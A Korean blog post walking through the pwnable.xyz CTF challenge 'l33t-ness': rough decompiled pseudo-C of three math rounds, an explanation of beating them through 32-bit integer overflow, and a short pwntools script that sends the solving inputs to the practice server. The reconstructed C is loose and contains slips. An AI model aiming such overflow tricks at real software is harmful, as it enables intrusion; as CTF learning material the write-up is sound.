본문으로 바로가기

[pwnable.xyz] l33t-ness write up

category CTF/pwnable.xyz 2020. 1. 31. 23:05

 

pwnable.xyz 12번째 문제 l33t-ness 이다.

 

 


Analyze

 

이번 문제는 간단한(?) 수학 3문제를 풀면 flag를 출력하게 된다.

 

문제의 바이너리 파일에 사용자 정의 함수를 보면 아래와 같다.

handler
main
round_1
round_2
round_3
setup
win

 

gdb로 분석하여 c코드로 나타내면 아래와 같다.

#include <stido.h>
#include <stdlib.h>


int round_1(){
    int getInt_1 = 0;   // rbp-0x38
    int getInt_2 = 0;   // rbp-0x34
    char tmp;       // rbp-0x30
    
    printf("=== 1eet ===\n");
    memset(tmp, 0, 0x20);
    
    printf("x: ");
    read(0, tmp, 0x10);
    printf("y: ");
    read(0, tmp[0x10], 0x10);
    
    if(strchr(tmp, 0x2d) != 0 && strchr(tmp[10], 0x2d) == 0){
        getInt_1 = atoi(tmp);
        getInt_2 = atoi(tmp[0x10]);
                                        
        if(getInt_1 <= 0x538 && getInt_2 <= 0x538){
            if(getInt_1 - getInt_2 == 0x539){ 
                return 1;   // clear    
            }
        }
    }
    return 0;
}

int round_2(){
    int a=0;    // rbp-0x10
    int b=0;    // rbp-0xc
    
    printf("=== t00leet ===\n");
    scanf("%d %d", a,b);
    
    if(a > 1 && b > 0x539){
        if(a * b == 0x539){
            return 1;
        }
    }
    return 0;
}

int round_3(){
    int tmp1=0; // rbp-0x20
    int tmp2=0; // rbp-0x18
    int tmp3=0; // rbp-0x10
    
    int count = 1; // rbp-0x30
    
    e = rbp-0x10; // rdi
    d = rbp-0x14; // rsi
    c = rbp-0x18; // rcx
    b = rbp-0x1c; // rdx
    a = rbp-0x20; // rax
    
    
    printf("=== 3leet ===\n");
    scanf("%d %d %d %d %d", a, b, c, d, e);
    
    while(count <= 4){
        int tmp4 = a[4 * count];
        int tmp5 = a[4 * (count - 1)];
        
        if(tmp4 < tmp5){
            return 0;
        }
        count++;
    }
    int sum = a + b;
    sum += c;
    sum += d;
    sum += e;
    
    int multi = a * b;
    multi *= c;
    multi *= d;
    multi *= e;
    
    if(sum == multi)
        return 1;
    else
        return 0;
}


int main(){
    printf("The l33t-ness level.");
    if(round_1()){
        if(round_2()){
            if(round_3()){
                win();
            }
        }
    }
}

 

 

 

 

round_1()

int round_1(){
    int getInt_1 = 0;   // rbp-0x38
    int getInt_2 = 0;   // rbp-0x34
    char tmp;       // rbp-0x30
    
    printf("=== 1eet ===\n");
    memset(tmp, 0, 0x20);
    
    printf("x: ");
    read(0, tmp, 0x10);
    printf("y: ");
    read(0, tmp[0x10], 0x10);
    
    if(strchr(tmp, 0x2d) != 0 && strchr(tmp[10], 0x2d) == 0){
        getInt_1 = atoi(tmp);
        getInt_2 = atoi(tmp[0x10]);
                                        
        if(getInt_1 <= 0x538 && getInt_2 <= 0x538){
            if(getInt_1 - getInt_2 == 0x539){ 
                return 1;   // clear    
            }
        }
    }
    return 0;
}

 

위 문제는 int 형의 범위를 이용하여 문제를 푸는 것이다.

int 형의 최대 값은 2147483647 이다.

만약 2147483647 보다 1 큰 숫자를 입력하면 아래처럼 -2147483648 출력이 된다.

ubuntu:~/environment/ctf/pwnable.xyz/12_l33t-ness $ cat test.c
#include <stdio.h>
#include <stdlib.h>

int main(){
    char a[16];
    read(0, a, 0x10);
    int b = atoi(a);
    printf("%d\n",b);
}

ubuntu:~/environment/ctf/pwnable.xyz/12_l33t-ness $ ./test.c.o
2147483648
-2147483648

 

입력값이 점점 더 커질수록 출력 값은 점점 작아지는 것을 볼 수 있다.

ubuntu:~/environment/ctf/pwnable.xyz/12_l33t-ness $ ./test.c.o
2587541810    
-1707425486

 

4294967296 값을 넣는다면 출력 값은 0 이 나오게 된다.

ubuntu:~/environment/ctf/pwnable.xyz/12_l33t-ness $ ./test.c.o
4294967296
0

 

문제에서 두 입력값의 차이가 -1337 값이 나오면 되므로 

4294967296 - 1337 ===> -1337 이 출력이 될 것이다.

 

x: 0

y: 4294965959

 

 

 

 

 

round_2()

두번째 문제이다.

int round_2(){
    int a=0;    // rbp-0x10
    int b=0;    // rbp-0xc
    
    printf("=== t00leet ===\n");
    scanf("%d %d", a,b);
    
    if(a > 1 && b > 0x539){
        if(a * b == 0x539){
            return 1;
        }
    }
    return 0;
}

두 수의 곱이 1337 이어야 한다.

이것도 위에서 했던 방식대로 하면 된다.

 

하지만 a, b는 음수가 되면 안된다.

방법은 4294967296 (0) + 1337 =====> 1337 을 이용하면 된다.

 

a=1, b=4294968633 (1337) 일때 b > 1337 조건에 만족하지 않아 할 수 가 없다.

 

그래서 4294968633 의 최대 공약수를 구하면 된다.

 

(3, 1431656211) 에서 1431656211은 int의 범위에 벗어나지 않으면서, 두 수의 곱은 4294968633 (1337)이므로

조건에 만족한다.

3 1431656211

 

 

 

 

 

round_3()

int round_3(){
    int tmp1=0; // rbp-0x20
    int tmp2=0; // rbp-0x18
    int tmp3=0; // rbp-0x10
    
    int count = 1; // rbp-0x30
    
    e = rbp-0x10; // rdi
    d = rbp-0x14; // rsi
    c = rbp-0x18; // rcx
    b = rbp-0x1c; // rdx
    a = rbp-0x20; // rax
    
    
    printf("=== 3leet ===\n");
    scanf("%d %d %d %d %d", a, b, c, d, e);
    
    while(count <= 4){
        int tmp4 = a[4 * count];
        int tmp5 = a[4 * (count - 1)];
        
        if(tmp4 < tmp5){
            return 0;
        }
        count++;
    }
    int sum = a + b;
    sum += c;
    sum += d;
    sum += e;
    
    int multi = a * b;
    multi *= c;
    multi *= d;
    multi *= e;
    
    if(sum == multi)
        return 1;
    else
        return 0;
}

뭐 코드가 복잡하긴 하지만, 간단하게 설명하자면

<조건>

1. 입력은 5개(a, b, c, d, e)

2. 크기는 a >= b >= c >= d >= e

3. (a+b+c+d+e) == (a*b*c*d*e) 이면 정답

 

이를 만족하는 것은 5개 변수의 값이 모두 0이면 된다,.(이때 필자는 띠용 했다.)

 

 

 


payload

from pwn import *

p = remote("svc.pwnable.xyz", 30008)

p.sendlineafter("x: ", "0")
p.sendlineafter("y: ", "4294965959")

p.sendlineafter("=== t00leet ===", "3 1431656211")

p.sendlineafter("=== 3leet ===", "0 0 0 0 0")

p.interactive()
ubuntu:~/environment/ctf/pwnable.xyz/12_l33t-ness $ python poc.py 
[+] Opening connection to svc.pwnable.xyz on port 30008: Done
[*] Switching to interactive mode

FLAG{-----------------------}[*] Got EOF while reading in interactive
$  

'CTF > pwnable.xyz' 카테고리의 다른 글

[pwnable.xyz] fspoo write up  (0) 2020.02.21
[pwnable.xyz] Game write up  (0) 2020.02.15
[pwnable.xyz] l33t-ness write up  (0) 2020.01.31
[pwnable.xyz] Jmp table write up  (0) 2020.01.31
[pwnable.xyz] TLSv00 write up  (0) 2020.01.28
[pwnable.xyz] free spirit write up  (0) 2020.01.27

댓글을 달아 주세요